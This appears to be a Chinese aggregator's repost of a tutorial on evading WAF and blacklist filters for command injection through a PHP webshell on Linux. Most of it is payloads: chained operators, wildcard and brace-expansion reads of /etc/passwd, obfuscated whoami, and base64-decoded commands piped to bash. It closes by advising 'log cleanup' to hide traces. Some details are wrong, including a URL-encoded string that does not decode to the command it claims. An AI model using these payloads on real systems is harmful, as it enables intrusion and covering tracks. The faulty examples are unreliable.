游乐游手机版
首页/AI热点日报/热点详情

Linux命令执行绕过常见姿势与安全测试技巧详解

类型:热点整理2026-07-12
在Linux环境下,利用HTTP一句话木马可演示多种命令执行绕过技巧,如逻辑运算符、通配符、大括号、命令混淆与变形及编码绕过,常用于渗透测试或安全研究中的WAF绕过,提升攻击隐蔽性与成功率。
# Linux环境下HTTP服务一句话木马命令执行绕过实战教程 本教程将从零基础起步,指导你在Linux服务器上搭建HTTP服务,并借助一句话木马开展命令执行测试。我们将系统性地展示多种Linux命令执行绕过技术,涵盖逻辑运算符、通配符、大括号、命令混淆、命令变形以及编码绕过等核心方法。通过实战案例截图与详尽解析,助你在渗透测试或安全研究场景中灵活应用这些技巧。 ## 0x01 环境准备:部署HTTP服务并留存一句话木马 首先,我们需要在Linux服务器(以CentOS或Ubuntu为例)上搭建一个简易HTTP服务,并存放一个支持GET和POST请求的一句话木马,以便进行后续的命令执行测试。 **步骤概览:** 1. 安装并启动Apache或Nginx(或使用Python简易HTTP服务器)。 2. 在web根目录下创建一句话木马文件,例如`shell.php`,内容为: ```php ``` 同时支持GET参数,可改为: ```php ``` 3. 启动服务后,使用浏览器或工具(如Burp Suite)访问该木马,通过`cmd`参数发送命令。 > **小提示**:若仅需快速测试,也可利用Python内置的http.server模块,搭配一句话木马文件即可。 --- ## 0x02 Linux逻辑运算符实战 在命令执行场景下,灵活运用Linux逻辑运算符能够调控命令的执行顺序与条件,有效绕过部分过滤规则。以下为常见运算符及演示:

2.1 分号 `;`

无论前一条命令是否执行成功,分号均会执行后一条命令,适用于连续执行多条互不影响的命令。

示例:

echo mt ; whoami

同时输出 "mt" 和当前用户名。

2.2 管道 `|`

管道符将前一条命令的标准输出作为后一条命令的标准输入。在绕过中常用于“仅执行后面那条命令”(因为前一条的输出被丢弃,除非后一条命令读取了它)。但严格来说,两条命令都会执行,只是前者的输出被作为输入。

2.3 逻辑或 `||`

当前一条命令执行失败(返回非零)时,才会执行后一条命令。常用于回退或替代执行。

示例中,若前一条命令失败,则执行后一条。

2.4 逻辑与 `&`

单个 & 表示后台运行,但此处演示的是两个命令都会执行(实际是顺序执行,前一条后台运行,后一条立即执行)。

2.5 逻辑与 `&&`

只有前一条命令执行成功(返回0)时,才会执行后一条命令。注意URL编码时需转义为 %26%26

2.6 换行符与回车符

%0a 代表换行符,%0d 代表回车符。在某些过滤中,可以利用它们分割命令,实现类似分号的效果。

> **常见问题**:为何部分运算符在Web请求中需进行URL编码? > 这是因为 &、|、; 等字符在HTTP参数中具有特殊含义(如参数分隔符),必须编码为 `%26`、`%7C`、`%3B` 等。 --- ## 0x03 利用通配符绕过 通配符是Linux Shell的重要特性,能够匹配文件名或路径中的部分字符,常用于绕过黑名单或避免直接输入敏感字符。 - ?:匹配任意一个字符。 - *:匹配任意多个字符(包括0个)。 **实战案例:读取敏感文件 /etc/passwd**

3.1 使用 `?` 匹配

cat%20/etc/pa??wd
其中两个 `??` 分别匹配 `s` 和 `s`(因为passwd中两个s字符)。

3.2 混合使用 `?` 和 `*`

cat%20/etc/pa?*wd
这里 `pa?*wd` 匹配 `pa` + 任意一个字符 + 任意多个字符 + `wd`,同样可匹配 `passwd`。

3.3 极端通配符绕过

cat /*****et*c*/*pas**************************************************swd
大量星号可以绕过简单的字符串检测,但需注意路径深度和匹配效率。 > **小提示**:实际渗透过程中,通配符常与管道、重定向等组合使用,例如 `cat /???/passwd` 可尝试匹配 `/etc/passwd`。 --- ## 0x04 使用大括号绕过空格限制 许多输入过滤会禁止空格字符(如%20或+),此时可借助Shell的大括号展开特性,以逗号分隔参数,绕过空格限制。 **语法样式:**
{命令,参数1,参数2}
**实战示例:**

4.1 读取文件

{cat,/etc/passwd}

4.2 列出目录详情

{ls,-alth}
等价于 `ls -alth`,注意大括号内不允许有空格,各参数用逗号分隔。 > **常见问题**:大括号展开是否总能替代空格? > 并非所有命令都支持,但大多数单命令参数均有效。若命令本身包含通配符或重定向,需结合使用。 --- ## 0x05 命令混淆与变形 黑名单常检测特定命令字符串(如 `whoami`、`id`),利用Shell变量展开或路径通配符可构造出等价的命令。

5.1 使用Shell变量插入

在命令中间插入 $1$@$* 等变量(通常为空),不影响命令执行。

whoami wh$1oami who$@ami whoa$*mi
所有变形都会执行 whoami

5.2 路径通配符变形

利用绝对路径与通配符代替命令名。

/*/bin/wh*mi /us*/*in/who*mi /*s?/*?n/w?o*i
第一个 `/*/bin/wh*mi` 会匹配 `/usr/bin/whoami` 等路径;第二个 `/*s?/*?n/w?o*i` 匹配 `/usr/sbin/whoami` 或类似路径。 > **小提示**:若系统限制了 `whoami` 命令,可尝试 `id`、`who`、`w` 等替代命令,并以相同方法变形。 --- ## 0x06 编码绕过 对命令进行多种编码,可绕过基于文本匹配的WAF或黑名单。

6.1 Base64编码

将原命令先进行base64编码,然后在Shell中解码并执行。

echo id|base64
得到 aWQK 等,再通过 echo aWQK|base64 -d|bash 执行。

6.2 URL编码

对命令中的每一个字符进行URL编码(如 %xx),可以绕过简单的字符串检测。

例如 id 命令的URL编码为:

%28%22%65%5c%63%68%6f%20%5c%69%5c%64%7c%62%61%73%65%36%34%22%29%3b
实际解码后为 ("echo \id|base64"); 等,需要结合执行环境。 > **常见问题**:URL编码后的命令如何执行? > 在Web环境中,请求参数会自动解码一次,因此需谨慎处理双重编码。通常将编码后的字符串通过 `printf` 或 `eval` 等再解码执行。 --- ## 总结与建议 通过本教程,你已经掌握了在Linux HTTP服务一句话木马场景下,运用逻辑运算符、通配符、大括号、命令混淆、变形及编码等多种方式绕过命令执行限制的技巧。这些方法在渗透测试、CTF竞赛以及安全评估中极具实用价值。 **最后提醒**:所有操作请务必在授权环境下进行,未经允许测试他人系统属于违法行为。实际工作中,建议结合具体WAF规则灵活组合这些技巧,并留意日志清理。
来源:https://m.elecfans.com/article/2087904.html

相关热点

继续查看同栏目近期热点。

延伸阅读

补充最近整理过的热点入口。